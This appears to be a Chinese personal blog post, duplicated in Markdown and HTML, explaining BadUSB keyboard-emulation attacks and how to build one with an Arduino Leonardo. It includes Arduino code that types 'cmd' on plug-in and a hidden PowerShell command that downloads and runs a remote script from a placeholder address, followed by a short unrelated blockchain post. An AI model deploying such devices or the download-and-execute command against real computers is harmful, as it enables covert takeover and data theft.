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      "body": "# 什么是BadUsb\n## 前言\n  前两天在一个网站又看见了BadUSB的文章，感觉这个东西，可以自己折腾一下，然后就去淘宝下单了。\n自己试一下了，感觉没有达到自己心中的想法。\n\n## 原理\n### 硬件基础知识\n#### HID\n&nbsp;&nbsp;HID是Human Interface Device的缩写，由其名称可以了解HID设备是直接与人交互的设备，例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口，只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上，因为只要控制了用户键盘，基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中，当用户将含有攻击向量的鼠标或键盘，插入电脑时，恶意代码会被加载并执行。\n\n#### Teensy \n&nbsp;&nbsp;攻击者在定制攻击设备时，会向USB设备中置入一个攻击芯片，此攻击芯片是一个非常小而且功能完整的单片机开发系统，它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标，当你插入这个定制的USB设备时，电脑会识别为一个键盘，利用设备中的微处理器与存储空间和编程进去的攻击代码，就可以向主机发送控制命令，从而完全控制主机，无论自动播放是否开启，都可以成功。\n\n#### Arduino\n&nbsp;&nbsp;Arduino是一款便捷灵活、方便上手的开源电子原型平台。 它构建于开放原始码simple\nI/O介面版，并且具有使用类似Java、C语言的Processing/Wiring开发环境。主要包含两个主要的部分：硬件部分是可以用来做电路连接的Arduino电路板；另外一个则是Arduino IDE，你的计算机中的程序开发环境。你只要在IDE中编写程序代码，将程序上传到Arduino电路板后，程序便会告诉Arduino电路板要做些什么了。\n\n##### 威胁\n&nbsp;&nbsp;BadUSB通过插入电脑，模拟电脑的鼠标键盘，对电脑进行操作。可以打开你电脑的cmd，powershell，执行一些静默的下载命令或其他。以达到窃取资料，控制目标，下载木马等功能。\n\n## 制作方法\n### 准备\n* 1286芯片或者2303芯片的U盘\n\n这里我使用的是 arduino Leonardo USB ATMEGA32U4 \n\n![image](http://og7hym2k9.bkt.clouddn.com/BadUSB/badusb.jpg)\n\n淘宝地址：https://item.taobao.com/item.htm?spm=a230r.1.14.5.kYKUil&id=536421581630&ns=1&abbucket=16#detail  这个是带了一个壳，可以省去自己找壳的麻烦。\n也可以不要壳的\nhttps://item.taobao.com/item.htm?spm=a230r.1.14.74.LGB3UB&id=44364709185&ns=1&abbucket=12#detail\n\n* Arduino IDE\n\n![](http://og7hym2k9.bkt.clouddn.com/BadUSB/ArduinoIDE.jpg)\n\n下载地址：[官网](https://www.arduino.cc/en/Main/Software)\n像什么Kali linux是自带了这个IDE的。\n\n安装有绿色版的也有安装版的，根据自己需要选择。\n\n安装完成后，打开。\n插入硬件，点开菜单的工具，选择开发板，选择“Arduino Leonardo”。\n![](http://og7hym2k9.bkt.clouddn.com/BadUSB/1.png)\n然后点开菜单里的工具，选择端口，选择“COM *(Arduino Leonardo)”\n![](http://og7hym2k9.bkt.clouddn.com/BadUSB/2.png)\n然后敲入如下代码\n```c\n#include <Keyboard.h>\n\n//setup，是插入硬件初始化的方法。\nvoid setup() {\n  // put your setup code here, to run once:\n  delay(500);//等待5秒\n  Keyboard.begin(); //键盘开始\n  Keyboard.press(KEY_LEFT_CTRL);//按下左Ctrl键不放。\n  Keyboard.press(KEY_ESC);//再按下ESC键不放\n  Keyboard.releaseAll();//释放所有的按键\n  delay(200);//等待两秒\n\n  Keyboard.press(KEY_CAPS_LOCK);//开启大写，解决中文输入法的问题。\n  Keyboard.releaseAll();//释放按键\n  Keyboard.print(\"cmd\");//敲入cmd\n  Keyboard.press(10);//按下回车键\n  Keyboard.releaseAll();//释放所有的按键。\n \n  Keyboard.end();//结束键盘模拟\n\n  \n\n}\n\n//这个loop是初始化方法结束后，一直循环执行的方法。\nvoid loop() {\n  // put your main code here, to run repeatedly:\n\n}\n\n```\n\n代码的含义已经在注释上写了。键值的定义：https://www.arduino.cc/en/Reference/KeyboardModifiers\n\n关于Keyboard库的学习：https://www.arduino.cc/en/Reference/MouseKeyboard\n中文的：http://wenku.baidu.com/link?url=SkZEdyQm7N7XTncIiawKR47XfTrqcYyK1iUAFOwwJl362w-sk_QbukPB1aOj7hrqRr0OcyUmI1CsBUj8qg_8nD0ffagJ2YR4M3bXC0JHKZW\n\n然后编译一下\n\n![](http://og7hym2k9.bkt.clouddn.com/BadUSB/编译.png)\n\n写入硬件\n![](http://og7hym2k9.bkt.clouddn.com/BadUSB/写入.png)\n\n\n好了，就可以插入电脑测试了。\n\n实验视频：\n\nhttp://player.youku.com/player.php/sid/XMTgxMjIxOTk5Ng==/v.swf\n\n这个只是一个小DEMO，开启一个cmd，窗口，当然也可以其他的，比如执行powershell，远程下载脚本执行啊，之类的，这个就不用多说了。\n\n\n```powershell\n\npowershell -exec bypass -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('你的ps脚本地址')\n```\n\n---\n# 总结\n\n* 这个，插入别人的电脑，闪一下黑框。还是比较鸡肋的。\n* 只有在联网了的电脑上，才可以做更多的事。这个中间的等待速度，也是和目标电脑的反应，有关。\n* 如果目标用户，正在使用电脑的同时，很容易出现问题，因为模拟键盘，可能敲入你的命令道他的工作区上，很容易暴露。\n\n\n\n&nbsp;&nbsp;以上为个人的想法，不知道有啥错误的没有，可以讨论一下。",
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      "author": "blacktrace",
      "body": "<html>\n<p># 什么是BadUsb</p>\n<p>## 前言</p>\n<p>&nbsp;&nbsp;前两天在一个网站又看见了BadUSB的文章，感觉这个东西，可以自己折腾一下，然后就去淘宝下单了。</p>\n<p>自己试一下了，感觉没有达到自己心中的想法。</p>\n<p><br></p>\n<p>## 原理</p>\n<p>### 硬件基础知识</p>\n<p>#### HID</p>\n<p>&amp;nbsp;&amp;nbsp;HID是Human Interface Device的缩写，由其名称可以了解HID设备是直接与人交互的设备，例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口，只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上，因为只要控制了用户键盘，基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中，当用户将含有攻击向量的鼠标或键盘，插入电脑时，恶意代码会被加载并执行。</p>\n<p><br></p>\n<p>#### Teensy&nbsp;</p>\n<p>&amp;nbsp;&amp;nbsp;攻击者在定制攻击设备时，会向USB设备中置入一个攻击芯片，此攻击芯片是一个非常小而且功能完整的单片机开发系统，它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标，当你插入这个定制的USB设备时，电脑会识别为一个键盘，利用设备中的微处理器与存储空间和编程进去的攻击代码，就可以向主机发送控制命令，从而完全控制主机，无论自动播放是否开启，都可以成功。</p>\n<p><br></p>\n<p>#### Arduino</p>\n<p>&amp;nbsp;&amp;nbsp;Arduino是一款便捷灵活、方便上手的开源电子原型平台。 它构建于开放原始码simple</p>\n<p>I/O介面版，并且具有使用类似Java、C语言的Processing/Wiring开发环境。主要包含两个主要的部分：硬件部分是可以用来做电路连接的Arduino电路板；另外一个则是Arduino IDE，你的计算机中的程序开发环境。你只要在IDE中编写程序代码，将程序上传到Arduino电路板后，程序便会告诉Arduino电路板要做些什么了。</p>\n<p><br></p>\n<p>##### 威胁</p>\n<p>&amp;nbsp;&amp;nbsp;BadUSB通过插入电脑，模拟电脑的鼠标键盘，对电脑进行操作。可以打开你电脑的cmd，powershell，执行一些静默的下载命令或其他。以达到窃取资料，控制目标，下载木马等功能。</p>\n<p><br></p>\n<p>## 制作方法</p>\n<p>### 准备</p>\n<p>* 1286芯片或者2303芯片的U盘</p>\n<p><br></p>\n<p>这里我使用的是 arduino Leonardo USB ATMEGA32U4&nbsp;</p>\n<p><br></p>\n<p>![image](http://og7hym2k9.bkt.clouddn.com/BadUSB/badusb.jpg)</p>\n<p><br></p>\n<p>淘宝地址：https://item.taobao.com/item.htm?spm=a230r.1.14.5.kYKUil&amp;id=536421581630&amp;ns=1&amp;abbucket=16#detail &nbsp;这个是带了一个壳，可以省去自己找壳的麻烦。</p>\n<p>也可以不要壳的</p>\n<p>https://item.taobao.com/item.htm?spm=a230r.1.14.74.LGB3UB&amp;id=44364709185&amp;ns=1&amp;abbucket=12#detail</p>\n<p><br></p>\n<p>* Arduino IDE</p>\n<p><br></p>\n<p>![](http://og7hym2k9.bkt.clouddn.com/BadUSB/ArduinoIDE.jpg)</p>\n<p><br></p>\n<p>下载地址：[官网](https://www.arduino.cc/en/Main/Software)</p>\n<p>像什么Kali linux是自带了这个IDE的。</p>\n<p><br></p>\n<p>安装有绿色版的也有安装版的，根据自己需要选择。</p>\n<p><br></p>\n<p>安装完成后，打开。</p>\n<p>插入硬件，点开菜单的工具，选择开发板，选择“Arduino Leonardo”。</p>\n<p>![](http://og7hym2k9.bkt.clouddn.com/BadUSB/1.png)</p>\n<p>然后点开菜单里的工具，选择端口，选择“COM *(Arduino Leonardo)”</p>\n<p>![](http://og7hym2k9.bkt.clouddn.com/BadUSB/2.png)</p>\n<p>然后敲入如下代码</p>\n<p>```c</p>\n<p>#include &lt;Keyboard.h&gt;</p>\n<p><br></p>\n<p>//setup，是插入硬件初始化的方法。</p>\n<p>void setup() {</p>\n<p>&nbsp;&nbsp;// put your setup code here, to run once:</p>\n<p>&nbsp;&nbsp;delay(500);//等待5秒</p>\n<p>&nbsp;&nbsp;Keyboard.begin(); //键盘开始</p>\n<p>&nbsp;&nbsp;Keyboard.press(KEY_LEFT_CTRL);//按下左Ctrl键不放。</p>\n<p>&nbsp;&nbsp;Keyboard.press(KEY_ESC);//再按下ESC键不放</p>\n<p>&nbsp;&nbsp;Keyboard.releaseAll();//释放所有的按键</p>\n<p>&nbsp;&nbsp;delay(200);//等待两秒</p>\n<p><br></p>\n<p>&nbsp;&nbsp;Keyboard.press(KEY_CAPS_LOCK);//开启大写，解决中文输入法的问题。</p>\n<p>&nbsp;&nbsp;Keyboard.releaseAll();//释放按键</p>\n<p>&nbsp;&nbsp;Keyboard.print(\"cmd\");//敲入cmd</p>\n<p>&nbsp;&nbsp;Keyboard.press(10);//按下回车键</p>\n<p>&nbsp;&nbsp;Keyboard.releaseAll();//释放所有的按键。</p>\n<p>&nbsp;</p>\n<p>&nbsp;&nbsp;Keyboard.end();//结束键盘模拟</p>\n<p><br></p>\n<p>&nbsp;&nbsp;</p>\n<p><br></p>\n<p>}</p>\n<p><br></p>\n<p>//这个loop是初始化方法结束后，一直循环执行的方法。</p>\n<p>void loop() {</p>\n<p>&nbsp;&nbsp;// put your main code here, to run repeatedly:</p>\n<p><br></p>\n<p>}</p>\n<p><br></p>\n<p>```</p>\n<p><br></p>\n<p>代码的含义已经在注释上写了。键值的定义：https://www.arduino.cc/en/Reference/KeyboardModifiers</p>\n<p><br></p>\n<p>关于Keyboard库的学习：https://www.arduino.cc/en/Reference/MouseKeyboard</p>\n<p>中文的：http://wenku.baidu.com/link?url=SkZEdyQm7N7XTncIiawKR47XfTrqcYyK1iUAFOwwJl362w-sk_QbukPB1aOj7hrqRr0OcyUmI1CsBUj8qg_8nD0ffagJ2YR4M3bXC0JHKZW</p>\n<p><br></p>\n<p>然后编译一下</p>\n<p><br></p>\n<p>![](http://og7hym2k9.bkt.clouddn.com/BadUSB/编译.png)</p>\n<p><br></p>\n<p>写入硬件</p>\n<p>![](http://og7hym2k9.bkt.clouddn.com/BadUSB/写入.png)</p>\n<p><br></p>\n<p><br></p>\n<p>好了，就可以插入电脑测试了。</p>\n<p><br></p>\n<p>实验视频：</p>\n<p><br></p>\n<p>&lt;embed src=\"http://player.youku.com/player.php/sid/XMTgxMjIxOTk5Ng==/v.swf\" allowFullScreen=\"true\" quality=\"high\" width=\"480\" height=\"400\" align=\"middle\" allowScriptAccess=\"always\" type=\"application/x-shockwave-flash\"&gt;&lt;/embed&gt;</p>\n<p><br></p>\n<p>这个只是一个小DEMO，开启一个cmd，窗口，当然也可以其他的，比如执行powershell，远程下载脚本执行啊，之类的，这个就不用多说了。</p>\n<p><br></p>\n<p><br></p>\n<p>```powershell</p>\n<p><br></p>\n<p>powershell -exec bypass -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('你的ps脚本地址')</p>\n<p>```</p>\n<p><br></p>\n<p>---</p>\n<p># 总结</p>\n<p><br></p>\n<p>* 这个，插入别人的电脑，闪一下黑框。还是比较鸡肋的。</p>\n<p>* 只有在联网了的电脑上，才可以做更多的事。这个中间的等待速度，也是和目标电脑的反应，有关。</p>\n<p>* 如果目标用户，正在使用电脑的同时，很容易出现问题，因为模拟键盘，可能敲入你的命令道他的工作区上，很容易暴露。</p>\n<p><br></p>\n<p><br></p>\n<p><br></p>\n<p>&amp;nbsp;&amp;nbsp;以上为个人的想法，不知道有啥错误的没有，可以讨论一下。</p>\n<p><br></p>\n<p><br></p>\n</html>",
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      "body": "<html>\n<p>&nbsp;&nbsp;现在区块链很火，我深深的觉得，未来的互联网会因为区块链技术发生很大的改变，目前区块链的发展阶段，算是刚初中水平吧，今年2018年，将会成为区块链技术有纪念意义的一年。关于区块链，目前国内的现状，个人认为还是处于炒币的阶段。今年后半年，应该是dapp的井喷式的出现。期待这种改变。我目前在学习区块链的开发。个人比较看好neo这个。neo相对于以太坊要高级一点儿，如果EOS没有成功，neo应该是会火的不行。</p>\n<p><br></p>\n<p>有兴趣学区块链开发的同学，可以加qq群：602628374</p>\n</html>",
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